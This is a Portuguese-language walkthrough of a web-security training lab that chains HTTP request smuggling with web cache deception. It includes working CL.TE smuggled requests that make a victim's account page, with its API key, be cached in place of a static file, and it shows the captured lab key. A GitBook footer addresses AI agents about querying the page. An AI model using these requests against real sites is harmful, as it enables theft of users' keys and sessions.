> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md).

# Engano de Cache Web via HTTP Request Smuggling

### Explorando o contrabando de solicitações HTTP para realizar engano de cache da web

Este laboratório apresenta um servidor frontal e um servidor em segundo plano. O servidor frontal não suporta codificação chunked e armazena em cache alguns recursos estáticos.

O objetivo é realizar um ataque de request smuggling para que a próxima solicitação enviada por uma vítima faça com que a chave de API dela seja registrada no cache. Depois, você terá que recuperar essa chave de API do cache e enviá-la para validar o laboratório. / É necessário aguardar **30 segundos** depois de acessar o laboratório antes de tentar prender a vítima.

Você pode se conectar à sua própria conta com: **wiener:peter**

#### **Notas**

* Mesmo que o laboratório suporte HTTP/2, a solução é baseada em técnicas que só podem ser feitas em HTTP/1. É possível alterar o protocolo no Burp Repeater na seção de atributos da solicitação do Inspector.
* O laboratório simula a atividade de um usuário vítima. Para cada poucas solicitações POST enviadas pelo atacante, a vítima fará as suas próprias. Às vezes é necessário repetir o ataque para sincronizar a sequência corretamente.

#### **Análise comportamental**

No painel Minha conta, você tem sua própria chave de API.

<figure><img src="/files/62b4650cd8c6db54a1182a9d053cc6b75bdfee60" alt=""><figcaption></figcaption></figure>

É observado que o `tracking.js` arquivo é armazenado em cache por **30 segundos**.

<figure><img src="/files/e85b24fed887917a3b99654312eca0aa706a2685" alt=""><figcaption></figcaption></figure>

#### **Teste inicial**

Enviando a seguinte solicitação incorreta:

```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 35
Transfer-Encoding: chunked

0

GET /error HTTP/1.1
Teste: A
```

Obtemos uma resposta **404**, o que confirma um comportamento utilizável.

<figure><img src="/files/553c361fdf95572569c1af0dfefd2fd384e58a26" alt=""><figcaption></figcaption></figure>

#### **Contrabando direcionado para /my-account**

Uma solicitação contrabandeada para `/my-account` é então preparada:

```http
POST / HTTP/1.1
Host: 0afb0023044a8040803d4efb00e3009b.web-security-academy.net
Content-Length: 38
Transfer-Encoding: chunked

0

GET /my-account HTTP/1.1
Teste: A
```

Quando a vítima envia sua própria solicitação após nossa injeção, a resposta contendo \*\*sua chave de API\*\* é armazenada no cache em vez de `tracking.js` arquivo.

#### **Resultado**

Quando você carregar o recurso em cache, a chave de API do administrador aparecerá:

```
Sua chave de API é: WiH6ND6YwY5ISnCFYbKbTKFRwFF4VXnk
```

<figure><img src="/files/72e6c89255aead8285df2b1b9440ac55306eb2b8" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/request-smuggling/web-cache-deception-via-http-request-smuggling.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
